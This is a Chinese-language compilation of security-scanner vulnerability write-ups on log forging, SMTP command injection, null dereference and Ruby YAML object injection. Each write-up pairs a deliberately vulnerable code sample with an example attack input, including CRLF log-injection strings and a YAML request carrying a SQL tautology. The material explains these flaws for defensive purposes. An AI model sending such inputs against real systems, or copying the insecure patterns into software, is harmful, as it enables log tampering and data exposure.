	INFO: User logged out=evil

攻击者无疑能够使用同样的机制来插入任意日志条目。为了使这种类型的 log forging 攻击有效，攻击者必须首先定义有效的日志条目格式，但是这通常可以通过在目标应用程序中泄漏系统信息实现。

在以下情况下会发生 Log Forging 的漏洞：

1. 数据从一个不可信赖的数据源进入应用程序。

2. 数据写入到应用程序或系统日志文件中。

为了便于以后的审阅、统计数据收集或调试，应用程序通常使用日志文件来储存事件或事务的历史记录。根据应用程序自身的特性，审阅日志文件可在必要时手动执行，也可以自动执行，即利用工具自动挑选日志中的重要事件或带有某种倾向性的信息。

如果攻击者可以向随后会被逐字记录到日志文件的应用程序提供数据，则可能会妨碍或误导日志文件的解读。最理想的情况是，攻击者可能通过向应用程序提供包括适当字符的输入，在日志文件中插入错误的条目。如果日志文件是自动处理的，攻击者可能会破坏文件格式或注入意外的字符，从而使文件无法使用。更阴险的攻击可能会导致日志文件中的统计信息发生偏差。通过伪造或其他方式，受到破坏的日志文件可用于掩护攻击者的跟踪轨迹，甚至还可以牵连第三方来执行恶意行为 [1]。最糟糕的情况是，攻击者可能向日志文件注入代码或者其他命令，利用日志处理实用程序中的漏洞 [2]。

示例：下面的 Web 应用程序代码将尝试从一个 HTML 表单中读取一个值，并记录该值。

...
01  LOGAREA.
     05  VALHEADER        PIC X(50) VALUE 'VAL: '.
     05  VAL              PIC X(50).
...

EXEC CICS
  WEB READ
  FORMFIELD(NAME)
  VALUE(VAL)
  ...
END-EXEC.

EXEC DLI
  LOG
  FROM(LOGAREA)
  LENGTH(50)
END-EXEC.
...

如果用户为 "VAL" 提交字符串 "FOO"，则日志中会记录以下条目：

VAL: FOO

然而，如果攻击者提交字符串 "FOO VAL: BAR"，则日志中会记录以下条目：

VAL: FOO VAL: BAR

显然，攻击者可以使用同样的机制插入任意日志条目。

在以下情况下会发生 Log Forging 的漏洞：

1. 数据从一个不可信赖的数据源进入应用程序。


2. 数据写入到应用程序或系统日志文件中。


为了便于以后的审阅、统计数据收集或调试，应用程序通常使用日志文件来储存事件或事务的历史记录。根据应用程序自身的特性，审阅日志文件可在必要时手动执行，也可以自动执行，即利用工具自动挑选日志中的重要事件或带有某种倾向性的信息。

如果攻击者可以向随后会被逐字记录到日志文件的应用程序提供数据，则可能会妨碍或误导日志文件的解读。最理想的情况是，攻击者可能通过向应用程序提供包括适当字符的输入，在日志文件中插入错误的条目。如果日志文件是自动处理的，那么攻击者就可以通过破坏文件格式或注入意外的字符，从而使文件无法使用。更阴险的攻击可能会导致日志文件中的统计信息发生偏差。通过伪造或其他方式，受到破坏的日志文件可用于掩护攻击者的跟踪轨迹，甚至还可以牵连第三方来执行恶意行为 [1]。最糟糕的情况是，攻击者可能向日志文件注入代码或者其他命令，利用日志处理实用程序中的漏洞 [2]。

示例：下面的 Web 应用程序代码将尝试从一个 Web 表单中读取一个整数型参数。如果数值未被解析为整数，输入就会被记录到日志中，附带一条提示相关情况的错误消息。

<cflog file="app_log" application="No" Thread="No" 
       text="Failed to parse val="#Form.val#">

如果用户为 "val" 提交字符串 "twenty-one"，则日志中会记录以下条目：

"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"

然而，如果攻击者提交字符串 "twenty-one%0a%0a%22Information%22%2C%2C%2202/28/01%22%2C%2214:53:40%22%2C%2C%22User%20logged%20out:%20badguy%22"，则日志中会记录以下条目：

"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"

"Information",,"02/28/01","14:53:40",,"User logged out: badguy"

显然，攻击者可以使用同样的机制插入任意日志条目。

在以下情况下会发生 Log Forging 漏洞：

1.数据从一个不可信赖的数据源进入应用程序。

2.数据写入到应用程序或系统日志文件中。

为了便于以后的审阅、统计数据收集或调试，应用程序通常使用日志文件来储存事件的历史记录或查看事务。根据应用程序自身的特性，审阅日志文件可在必要时手动执行，也可以自动执行，即利用工具自动挑选日志中的重要事件或趋势信息。

如果攻击者可以向随后会被逐字记录到日志文件的应用程序提供数据，则可能会妨碍或误导日志文件的解读。最理想的情况是，攻击者可能通过向应用程序提供包括适当字符的输入，在日志文件中插入错误的条目。如果日志文件是自动处理的，那么攻击者就可以通过破坏文件格式或注入意外的字符，使文件无法使用。更阴险的攻击可能会导致日志文件中的统计信息发生偏差。通过伪造或其他方式，受到破坏的日志文件可用于掩护攻击者的跟踪轨迹，甚至还可以牵连第三方来执行恶意行为 [1]。最糟糕的情况是，攻击者可能向日志文件注入代码或者其他命令，利用日志处理实用程序中的漏洞 [2]。

示例：下列 Web 应用程序代码会尝试从一个请求对象中读取整数值。如果该值未被解析为整数，输入就会被记录到日志中，附带一条提示相关情况的错误消息。

    func someHandler(w http.ResponseWriter, r *http.Request){
        r.parseForm()
        name := r.FormValue("name")
        logout := r.FormValue("logout")
        ...
        if (logout){
            ...
        } else {
            log.Printf("Attempt to log out: name: %s logout: %s", name, logout)
        }
    }

如果用户为 logout 提交字符串“twenty-one”，而且他可以创建一个名为“admin”的用户，则日志中会记录以下条目：

Attempt to log out: name: admin logout: twenty-one

但是，如果攻击者可以创建用户名 "admin+logout:+1+++++++++++++++++++++++"，则日志中将记录以下条目：

Attempt to log out: name: admin logout: 1                       logout: twenty-one

在以下情况下会发生 Log Forging 的漏洞：

1. 数据从一个不可信赖的数据源进入应用程序。

2. 数据写入到应用程序或系统日志文件中。

为了便于以后的审阅、统计数据收集或调试，应用程序通常使用日志文件来储存事件或事务的历史记录。根据应用程序自身的特性，审阅日志文件可在必要时手动执行，也可以自动执行，即利用工具自动挑选日志中的重要事件或带有某种倾向性的信息。

如果攻击者可以向随后会被逐字记录到日志文件的应用程序提供数据，则可能会妨碍或误导日志文件的解读。最理想的情况是，攻击者可能通过向应用程序提供包括适当字符的输入，在日志文件中插入错误的条目。如果日志文件是自动处理的，那么攻击者就可以通过破坏文件格式或注入意外的字符，从而使文件无法使用。更阴险的攻击可能会导致日志文件中的统计信息发生偏差。通过伪造或其他方式，受到破坏的日志文件可用于掩护攻击者的跟踪轨迹，甚至还可以牵连第三方来执行恶意行为 [1]。最糟糕的情况是，攻击者可能向日志文件注入代码或者其他命令，利用日志处理实用程序中的漏洞 [2]。

示例 1：下列 Web 应用程序代码会尝试从一个请求对象中读取整数值。如果数值未被解析为整数，输入就会被记录到日志中，附带一条提示相关情况的错误消息。

var cp = require('child_process');
var http = require('http');
var url = require('url');

function listener(request, response){
  var val = url.parse(request.url, true)['query']['val'];
  if (isNaN(val)){
    console.log("INFO: Failed to parse val = " + val);
  }
  ...
}
...
http.createServer(listener).listen(8080);
...

如果用户为“val”提交字符串“twenty-one”，则日志中会记录以下条目：

INFO: Failed to parse val = twenty-one

然而，如果攻击者提交字符串“twenty-one%0a%0aINFO:+User+logged+out%3dbadguy”，则日志中会记录以下条目：

INFO: Failed to parse val=twenty-one

INFO: User logged out=badguy

显然，攻击者可以使用同样的机制插入任意日志条目。

在以下情况下会发生 Log Forging 的漏洞：

1. 数据从一个不可信赖的数据源进入应用程序。

2. 数据写入到应用程序或系统日志文件中。

为了便于以后的审阅、统计数据收集或调试，应用程序通常使用日志文件来储存事件或事务的历史记录。根据应用程序自身的特性，审阅日志文件可在必要时手动执行，或者通过工具自动执行，以获取重要的数据点以及数据趋势。

如果攻击者能给应用程序提供随后被逐字记录到日志文件的数据，可能会妨碍日志文件的检查，甚至基于日志数据的总结都可能是错误的。通过将日志条目分隔符所使用的字符包括到他们的数据中，攻击者可能会在日志文件中插入错误的条目信息。如果日志文件是自动处理的，那么攻击者就可以通过破坏文件格式或注入意外的字符，从而使文件无法使用。更阴险的攻击可能会导致日志文件中的统计信息发生偏差。通过伪造或其他方式，受到破坏的日志文件可用于掩护攻击者的跟踪轨迹，甚至还可以牵连第三方来执行恶意行为 [1]。在最糟糕是，攻击者可以在日志文件中注入代码或者其他的命令，充分利用日志处理实用程序 [2] 中的种种漏洞。

例 1：以下代码从一个 CGI 脚本中接受一个由用户提交的字符串，并试图将其转换为它所代表的长整数值。如果这个数值没能被解析成整数，那么数值会随同错误消息一起存入日志，提示发生的情况。

long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
	NSLog("Illegal value = %s",val);
...

如果用户为 "val" 提交字符串 "twenty-one"，则日志中会记录以下条目：

    INFO: Illegal value=twenty-one

然而，如果攻击者提交字符串 "twenty-one\n\nINFO: User logged out=evil"，则日志中会记录以下条目：

	INFO: Illegal value=twenty-one

	INFO: User logged out=evil

攻击者无疑能够使用同样的机制来插入任意日志条目。为了使这种类型的伪造日志攻击有效，攻击者必须首先定义有效的日志条目格式，但是这通常可以通过在目标应用程序中泄漏系统信息实现。

在以下情况下会发生 Log Forging 的漏洞：

1. 数据从一个不可信赖的数据源进入应用程序。

2. 数据写入到应用程序或系统日志文件中。

为了便于以后的审阅、统计数据收集或调试，应用程序通常使用日志文件来储存事件或事务的历史记录。根据应用程序自身的特性，审阅日志文件可在必要时手动执行，也可以自动执行，即利用工具自动挑选日志中的重要事件或带有某种倾向性的信息。

如果攻击者可以向随后会被逐字记录到日志文件的应用程序提供数据，则可能会妨碍或误导日志文件的解读。最理想的情况是，攻击者可能通过向应用程序提供包括适当字符的输入，在日志文件中插入错误的条目。如果日志文件是自动处理的，那么攻击者就可以通过破坏文件格式或注入意外的字符，从而使文件无法使用。更阴险的攻击可能会导致日志文件中的统计信息发生偏差。通过伪造或其他方式，受到破坏的日志文件可用于掩护攻击者的跟踪轨迹，甚至还可以牵连第三方来执行恶意行为 [1]。最糟糕的情况是，攻击者可能向日志文件注入代码或者其他命令，利用日志处理实用程序中的漏洞 [2]。

示例： 下列 Web 应用程序代码会尝试从一个请求对象中读取整数值。如果数值未被解析为整数，输入就会被记录到日志中，附带一条提示相关情况的错误消息。

<?php
    $name   =$_GET['name'];
    ...
    $logout =$_GET['logout'];

    if(is_numeric($logout))
    {
        ...
    }
    else
    {
        trigger_error("Attempt to log out: name: $name logout: $val");
    }
?>

如果用户为 logout 提交字符串“twenty-one”，而且他可以创建一个名为“admin”的用户，则日志中会记录以下条目：

PHP Notice: Attempt to log out: name: admin logout: twenty-one

但是，如果攻击者可以创建用户名 "admin+logout:+1+++++++++++++++++++++++"，则日志中将记录以下条目：

PHP Notice: Attempt to log out: name: admin logout: 1                       logout: twenty-one

在以下情况下会发生 Log Forging 的漏洞：

1. 数据从一个不可信赖的数据源进入应用程序。

2. 数据写入到应用程序或系统日志文件中。

为了便于以后的审阅、统计数据收集或调试，应用程序通常使用日志文件来储存事件或事务的历史记录。根据应用程序自身的特性，审阅日志文件可在必要时手动执行，也可以自动执行，即利用工具自动挑选日志中的重要事件或带有某种倾向性的信息。

如果攻击者可以向随后会被逐字记录到日志文件的应用程序提供数据，则可能会妨碍或误导日志文件的解读。最理想的情况是，攻击者可能通过向应用程序提供包括适当字符的输入，在日志文件中插入错误的条目。如果日志文件是自动处理的，那么攻击者就可以通过破坏文件格式或注入意外的字符，从而使文件无法使用。更阴险的攻击可能会导致日志文件中的统计信息发生偏差。通过伪造或其他方式，受到破坏的日志文件可用于掩护攻击者的跟踪轨迹，甚至还可以牵连第三方来执行恶意行为 [1]。最糟糕的情况是，攻击者可能向日志文件注入代码或者其他命令，利用日志处理实用程序中的漏洞 [2]。

示例： 下列 Web 应用程序代码会尝试从一个请求对象中读取整数值。如果数值未被解析为整数，输入就会被记录到日志中，附带一条提示相关情况的错误消息。

    name = req.field('name')
    ...
    logout = req.field('logout')

    if (logout):
        ...
    else:
        logger.error("Attempt to log out: name: %s logout: %s" % (name,logout))

如果用户为 logout 提交字符串“twenty-one”，而且他可以创建一个名为“admin”的用户，则日志中会记录以下条目：

Attempt to log out: name: admin logout: twenty-one

但是，如果攻击者可以创建用户名 "admin+logout:+1+++++++++++++++++++++++"，则日志中将记录以下条目：

Attempt to log out: name: admin logout: 1                       logout: twenty-one

在以下情况下会发生 Log Forging 的漏洞：

1. 数据从一个不可信赖的数据源进入应用程序。

2. 数据写入到应用程序或系统日志文件中。

为了便于以后的审阅、统计数据收集或调试，应用程序通常使用日志文件来储存事件或事务的历史记录。根据应用程序自身的特性，审阅日志文件可在必要时手动执行，也可以自动执行，即利用工具自动挑选日志中的重要事件或带有某种倾向性的信息。

如果攻击者可以向随后会被逐字记录到日志文件的应用程序提供数据，则可能会妨碍或误导日志文件的解读。最理想的情况是，攻击者可能通过向应用程序提供包括适当字符的输入，在日志文件中插入错误的条目。如果日志文件是自动处理的，那么攻击者就可以通过破坏文件格式或注入意外的字符，从而使文件无法使用。更阴险的攻击可能会导致日志文件中的统计信息发生偏差。通过伪造或其他方式，受到破坏的日志文件可用于掩护攻击者的跟踪轨迹，甚至还可以牵连第三方来执行恶意行为 [1]。最糟糕的情况是，攻击者可能向日志文件注入代码或者其他命令，利用日志处理实用程序中的漏洞 [2]。

例 1： 下列 Web 应用程序代码会尝试从一个请求对象中读取整数值。如果数值未被解析为整数，输入就会被记录到日志中，附带一条提示相关情况的错误消息。

...
val = req['val']
unless val.respond_to?(:to_int)
  logger.info("Failed to parse val")
  logger.info(val)
end
...

如果用户为“val”提交字符串“twenty-one”，则日志中会记录以下条目：

INFO: Failed to parse val
INFO: twenty-one

然而，如果攻击者提交字符串“twenty-one%0a%0aINFO:+User+logged+out%3dbadguy”，则日志中会记录以下条目：

INFO: Failed to parse val
INFO: twenty-one

INFO: User logged out=badguy

显然，攻击者可以使用同样的机制插入任意日志条目。

在以下情况下会发生 Log Forging 的漏洞：

1. 数据从一个不可信赖的数据源进入应用程序。

2. 数据写入到应用程序或系统日志文件中。

为了便于以后的审阅、统计数据收集或调试，应用程序通常使用日志文件来储存事件或事务的历史记录。根据应用程序自身的特性，审阅日志文件可在必要时手动执行，或者通过工具自动执行，以获取重要的数据点以及数据趋势。

如果攻击者能给应用程序提供随后被逐字记录到日志文件的数据，可能会妨碍日志文件的检查，甚至基于日志数据的总结都可能是错误的。通过将日志条目分隔符所使用的字符包括到他们的数据中，攻击者可能会在日志文件中插入错误的条目信息。如果日志文件是自动处理的，那么攻击者就可以通过破坏文件格式或注入意外的字符，从而使文件无法使用。更阴险的攻击可能会导致日志文件中的统计信息发生偏差。通过伪造或其他方式，受到破坏的日志文件可用于掩护攻击者的跟踪轨迹，甚至还可以牵连第三方来执行恶意行为 [1]。在最糟糕是，攻击者可以在日志文件中注入代码或者其他的命令，充分利用日志处理实用程序 [2] 中的种种漏洞。

示例 1：以下代码接受一个由用户提交的字符串，并试图将其转换为它所代表的整数值。如果这个数值没能被解析成整数，那么数值会随同错误消息一起存入日志，提示发生的情况。

...
let num = Int(param)
if num == nil {
    NSLog("Illegal value = %@", param)
}
...

如果用户为“val”提交字符串“twenty-one”，则日志中会记录以下条目：

    INFO: Illegal value = twenty-one

然而，如果攻击者提交字符串“twenty-one\n\nINFO: User logged out=evil”，则日志中会记录以下条目：

	INFO: Illegal value=twenty-one

	INFO: User logged out=evil

攻击者无疑能够使用同样的机制来插入任意日志条目。为了使这种类型的伪造日志攻击有效，攻击者必须首先定义有效的日志条目格式，但是这通常可以通过在目标应用程序中泄漏系统信息实现。

在以下情况下会发生 Log Forging 的漏洞：

1. 数据从一个不可信赖的数据源进入应用程序。

2. 数据写入到应用程序或系统日志文件中。

为了便于以后的审阅、统计数据收集或调试，应用程序通常使用日志文件来储存事件或事务的历史记录。根据应用程序自身的特性，审阅日志文件可在必要时手动执行，也可以自动执行，即利用工具自动挑选日志中的重要事件或带有某种倾向性的信息。

如果攻击者可以向随后会被逐字记录到日志文件的应用程序提供数据，则可能会妨碍或误导日志文件的解读。最理想的情况是，攻击者可能通过向应用程序提供包括适当字符的输入，在日志文件中插入错误的条目。如果日志文件是自动处理的，那么攻击者就可以通过破坏文件格式或注入意外的字符，从而使文件无法使用。更阴险的攻击可能会导致日志文件中的统计信息发生偏差。通过伪造或其他方式，受到破坏的日志文件可用于掩护攻击者的跟踪轨迹，甚至还可以牵连第三方来执行恶意行为 [1]。最糟糕的情况是，攻击者可能向日志文件注入代码或者其他命令，利用日志处理实用程序中的漏洞 [2]。

示例：下列 Web 应用程序代码会尝试从一个请求对象中读取整数值。如果数值未被解析为整数，输入就会被记录到日志中，附带一条提示相关情况的错误消息。

...
Dim Val As Variant
Dim Value As Integer
Set Val = Request.Form("val")
If IsNumeric(Val) Then
	Set Value = Val
Else
	App.EventLog "Failed to parse val=" & Val, 1
End If
...

如果用户为“val”提交字符串“twenty-one”，则日志中会记录以下条目：

Failed to parse val=twenty-one

然而，如果攻击者提交字符串“twenty-one%0a%0a+User+logged+out%3dbadguy”，则日志中会记录以下条目：

Failed to parse val=twenty-one

User logged out=badguy

显然，攻击者可以使用同样的机制插入任意日志条目。

这些类型的漏洞可能会在以下情况下发生：当攻击者可以影响发送到 SMTP 邮件服务器的命令时，会发生 SMTP command injection 漏洞。

1.数据从不可信赖的数据源进入应用程序。

2.数据作为代表应用程序所执行命令的一个字符串或部分字符串使用。

3.通过执行 SMTP 命令，攻击者可以指示服务器执行发送垃圾邮件等恶意操作。

示例 1：以下代码使用 HTTP 请求参数来制作发送到 SMTP 服务器的 VRFY 命令。攻击者可能会使用此参数修改发送到服务器的命令并使用 CRLF 字符注入新命令。

  ...
    c, err := smtp.Dial(x)
	if err != nil {
		log.Fatal(err)
	}
	user := request.FormValue("USER")
	c.Verify(user)
  ...
  

当攻击者可以影响发送到 SMTP 邮件服务器的命令时，就会发生 SMTP Command Injection 漏洞。

1. 数据从不可信赖的数据源进入应用程序。

2. 数据被用作代表应用程序所执行命令的字符串，或字符串的一部分。

3. 通过执行 SMTP 命令，攻击者能够指示服务器执行恶意操作，例如发送垃圾邮件。

示例 1：以下代码使用 HTTP 请求参数来构建将发送到 SMTP 服务器的 VRFY 命令。攻击者可以利用此参数修改发送到服务器的命令，并使用 CRLF 字符注入新命令。

...
user = request.GET['user']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
session.docmd("VRFY", user)
...

几乎每一个对软件系统的严重攻击都是从违反程序员的假设开始的。攻击后，程序员的假设看起来既脆弱又拙劣，但攻击前，许多程序员会在午休时间为自己的种种假设做很好的辩护。

在代码中很容易发现的两个可疑的假设是：一是这个函数调用不可能出错；二是即使出错了，也不会对系统造成什么重要影响。当程序员忽略函数返回值时，就暗示着自己是基于上述任一假设来执行操作。
示例 1： 以下代码不会在调用成员函数 Equals() 之前检查 Item 属性返回的字符串是否为 null，从而可能会导致 null dereference。

string itemName = request.Item(ITEM_NAME);
	if (itemName.Equals(IMPORTANT_ITEM)) {
		...
	}
	...

对于这种编码错误的一贯辩解是：

“我知道请求的值肯定会存在，因为....如果不存在，程序就无法执行所需的行为，因此是处理该错误还是允许程序自行崩溃而间接引用 null 也就无关紧要了。”

但是，攻击者对于发现程序中的意外情况十分在行，特别是发生异常时。

几乎每一个对软件系统的严重攻击都是从违反程序员的假设开始的。攻击后，程序员的假设看起来既脆弱又拙劣，但攻击前，许多程序员会在午休时间为自己的种种假设做很好的辩护。

在代码中很容易发现的两个可疑的假设是：一是这个函数调用不可能出错；二是即使出错了，也不会对系统造成什么重要影响。当程序员忽略函数返回值时，就暗示着自己是基于上述任一假设来执行操作。
例 1：以下代码在使用由 malloc() 返回的指针之前，并没有检查内存是否分配成功。

    buf = (char*) malloc(req_size);
    strncpy(buf, xfer, req_size);

对于这种编码错误的一贯辩解是：

“如果我的程序耗尽了所有内存，则会失败。无论是在程序尝试间接引用 null 指针时处理相关错误，还是允许程序自行崩溃并出现分段故障，都无关紧要。”

但是这个解释忽略了以下三个重要的因素：

— 根据应用程序的类型和大小，可能会释放由其他程序使用的内存，从而使程序继续运行。

- 程序不可能执行正常退出（如果需要）。如果程序执行原子操作，则会使系统处于不一致的状态。

— 程序员失去了记下诊断信息的机会。对 malloc() 的调用失败是不是因为 req_size 太大，还是因为在同一时刻处理的请求太多。或者是由于已累计超时的 memory leak 引起的。如果不对错误进行处理，就不会知道是什么原因。

null 指针错误通常是由于违反一个或多个程序员假设而造成的。

大多数 null 指针问题会导致一般软件可靠性问题，但如果攻击者可能有意触发 null 指针间接引用，他们可以使用生成的异常绕过安全逻辑或使应用程序显示调试信息，这些信息在规划后续攻击时十分有用。

示例 1：在以下代码中，程序员假定系统始终会定义一个名为“cmd”的属性。如果攻击者可以控制程序的环境，从而使“cmd”处于未定义状态，则它就会在尝试调用 Trim() 方法时抛出一个 null 指针异常。

string cmd = null;
...
cmd = Environment.GetEnvironmentVariable("cmd");
cmd = cmd.Trim();

如果不符合程序员的一个或多个假设，则通常会出现 null 指针异常。此问题至少有三种类型：check-after-dereference、dereference-after-check 和 dereference-after-store。如果程序在检查可能为 null 的指针是否为 null 之前间接引用该指针，则会发生 check-after-dereference 错误。如果程序明确检查过 null，并确定该指针为 null，但仍继续间接引用该指针，则会出现 dereference-after-check 错误。此类错误通常是由于错别字或程序员疏忽造成的。如果程序明确将指针设置为 null，但稍后却间接引用该指针，则将出现 dereference-after-store 错误。此错误通常是因为程序员在声明变量时将该变量初始化为 null 所致。

大多数 null 指针问题会导致一般软件可靠性问题，但如果攻击者可能有意触发 null 指针间接引用，他们可以使用生成的异常绕过安全逻辑以发动拒绝服务攻击，或使应用程序显示调试信息，这些信息在规划后续攻击时十分有用。

示例 1：在下列代码中，程序员假设变量 ptr 不是 NULL。当程序员间接引用该指针时，这个假设就会清晰的体现出来。当程序员检查 ptr 是否为 NULL 时，就会与该假设发生矛盾。当在 if 语句中检查时，如果 ptr 可以为 NULL，则在其间接引用时也将为 NULL，并引起 segmentation fault。

ptr->field = val;
...
if (ptr != NULL) {
	...
}

示例 2：在下列代码中，程序员会确认变量 ptr 为 NULL，然后错误地对其进行间接引用。如果在 if 语句中检查 ptr 时其为 NULL，则会发生 null dereference，从而导致分段故障。

if (ptr == null) {
        ptr->field = val;
        ...
}

示例 3：在下列代码中，程序员忘记了字符串 '\0' 实际上为 0 还是 NULL，从而间接引用 null 指针并引发分段故障。

if (ptr == '\0') {
        *ptr = val;
        ...
}

示例 4：在下列代码中，程序员会将变量 ptr 明确设置为 NULL。之后，程序员会间接引用 ptr，而未检查对象是否为 null 值。

*ptr = NULL;
...
ptr->field = val;
...
}

如果不可信赖的数据未经过正确清除即被传递给类似 YAML.load() 的反序列化数据的函数，则会出现 Object injection 漏洞。只要在反序列化时将类加载到应用程序中，攻击者就可以将经特殊技术处理的序列化字符串传递到易受攻击的 YAML.load() 调用，从而将任意 Ruby 对象注入程序中。这可能带来大量的各种攻击机会，如绕过验证逻辑找到跨站点脚本漏洞，允许通过看似硬编码值来进行 SQL 注入，甚至进行完整的代码执行。

例 1：以下代码显示的 Ruby 类使用其属性来创建 SQL 查询，然后对数据库进行查询。还有使用用户提供的数据对 YAML.load() 进行的不安全调用。

...
class Transaction
  attr_accessor :id
  def initialize(num=nil)
    @id = num.is_a?(Numeric) ? num : nil
  end

  def print_details
    unless @id.nil?
      print $conn.query("SELECT * FROM transactions WHERE id=#{@id}")
    end
  end
end

...
user = YAML.load(params[:user]);
user.print_details
...

在Example 1 中，应用程序可能预期获取一个序列化的 User 对象，而该对象也恰好具有一个名为 print_details 的函数，但攻击者可能实际上会提供 Transaction 对象的序列化版本，并为其 @id 属性提供一个预定义值。因此，如下所示的请求可能会允许绕过用于确保 @id 为数值的验证检查

GET REQUEST:  http://server/page?user=!ruby%2Fobject%3ATransaction%0Aid%3A4%20or%205%3D5%0A

如果我们查看其解码版本，我们就会知道 user 参数获分配了 !ruby/object:Transaction\nid:4 or 5=5\n。
现在反序列化用户参数将创建一个 Transaction 类型的对象，将 @id 设置为 "4 or 5=5"。当开发人员认为他们将调用 User#print_details() 时，其实现在他们将会调用 Transaction#print_details()，且 Ruby 的字符串插值意味着 SQL 查询将被更改，以执行查询：SELECT * FROM transactions WHERE id=4 or 5=5。由于添加了额外语句，所以查询将评估为 true 并将返回 transactions 表中的所有内容，而不是开发人员所期望的单行。

攻击者可以使用称为“面向属性编程”的技术链接在调用易受攻击的 YAML.load() 时声明的不同类，该技术由 Stefan Esser 在 BlackHat 2010 会议上提出。利用该技术，攻击者可以重复使用现有代码以生成其自己的负载。